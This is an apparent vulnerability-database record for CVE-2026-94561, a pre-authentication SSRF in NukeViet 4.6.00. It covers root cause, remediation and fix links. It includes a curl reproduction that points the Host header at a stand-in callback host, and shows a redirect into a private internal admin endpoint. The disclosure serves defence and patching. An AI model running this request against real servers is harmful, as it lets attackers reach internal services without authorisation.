{"id":"CVE-2026-94561","aliases":["GHSA-8xch-674f-grqr"],"url":"https://o3.security/vulnerability/CVE-2026-94561","summary":"NukeViet: Pre-authentication SSRF via incomplete X-Forwarded-Host fix","details":"## Summary\n\nNukeViet 4.6.00 remains vulnerable to pre-authentication SSRF despite the fix for CVE-2026-55372 / GHSA-4chg-4752-w88r.\n\nThe fix validates the host derived from `X-Forwarded-Host`, but NukeViet separately retains the ordinary `Host` header as `NV_SERVER_NAME`. During server-information cache initialization, `set_ini_file()` constructs a cURL URL from this unvalidated value and sends the request before validating it.\n\nAn unauthenticated attacker can supply the legitimate configured domain in `X-Forwarded-Host` while placing an attacker-selected destination in `Host`.\n\n## Affected version\n\n- NukeViet 4.6.00\n- Commit: `f47de5cd6577d0d49449754be9bafe9081be4981`\n- No authentication required\n\n## Root cause\n\n- `Server.php` stores `Host` and `X-Forwarded-Host` separately.\n- `mainfile.php` performs the early allowlist check only on the value derived from `X-Forwarded-Host`.\n- `ini.php` uses the unvalidated ordinary host in an outbound cURL request and follows redirects.\n- The ordinary host is rejected only after the outbound request has occurred.\n\n## Reproduction\n\nUse a fresh callback host reachable from the NukeViet server:\n\n```bash\ncurl --http1.1 -i http://TARGET/ \\\n  -H 'Host: FRESH_CALLBACK_HOST' \\\n  -H 'X-Forwarded-Host: LEGITIMATE_DOMAIN' \\\n  -H 'Connection: close'\n```\n\nNo session cookie or credentials are required. A `400 Bad Request` response is expected because the SSRF occurs before the late host rejection.\n\nThe callback receives:\n\n```http\nPOST /index.php HTTP/1.1\nHost: FRESH_CALLBACK_HOST\nReferer: http://LEGITIMATE_DOMAIN\nContent-Type: application/x-www-form-urlencoded\n\n__serverInfoUpdate=1\n```\n\n## Verified impact\n\nIn a controlled test, the callback server returned:\n\n```http\nHTTP/1.1 302 Found\nLocation: http://PRIVATE_IP:8081/internal/admin/reload?source=ssrf-proof\n```\n\nNukeViet followed the redirect, and the private service received:\n\n```http\nGET /internal/admin/reload?source=ssrf-proof HTTP/1.1\nHost: PRIVATE_IP:8081\n```\n\nThis proves that an unauthenticated attacker can reach an attacker-selected private HTTP host, port, and path. This could invoke internal administrative endpoints that rely on private-network access as authentication.\n\nThe SSRF is blind: response bodies are not returned to the attacker. RCE and response-data theft were not demonstrated.\n\n## Remediation\n\n- Validate the ordinary `Host` before loading `ini.php` or performing any side effect.\n- Do not construct server-side request URLs from request headers; use a configured canonical origin.\n- Disable redirect following for this internal request.\n- Trust forwarded headers only from configured reverse proxies.\n\nhttps://github.com/user-attachments/assets/963af555-34d9-4be5-8618-1c70651e20ba\n\n\n[nukeviet_ssrf_poc.py](https://github.com/user-attachments/files/30169107/nukeviet_ssrf_poc.py)","published":"2026-11-20T18:42:34.846Z","modified":"2026-11-25T20:45:47.856130277Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"},"epss":{"score":0.00558,"percentile":0.40221,"asOf":"2026-11-30"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"nukeviet/nukeviet","fixedVersion":"4.6.01"}],"fix":{"url":"https://github.com/nukeviet/nukeviet/commit/a2ceabdacd5fb3135bde6cdfb106e76b24736095","label":"nukeviet/nukeviet@a2ceabd"},"references":[{"type":"WEB","url":"https://github.com/nukeviet/nukeviet/releases/tag/4.6.01"},{"type":"WEB","url":"https://nukeviet.vn/vi/news/Tin-tuc/thong-bao-phat-hanh-nukeviet-4-6-01-857.html"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/94xxx/CVE-2026-94561.json"},{"type":"ADVISORY","url":"https://github.com/nukeviet/nukeviet/security/advisories/GHSA-8xch-674f-grqr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94561"},{"type":"FIX","url":"https://github.com/nukeviet/nukeviet/commit/a2ceabdacd5fb3135bde6cdfb106e76b24736095"},{"type":"FIX","url":"https://github.com/nukeviet/nukeviet/commit/b5305fe257a7487c7b8fbe74b31a9554793be720"},{"type":"PACKAGE","url":"https://github.com/nukeviet/nukeviet"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-25T20:45:47.856130277Z"}}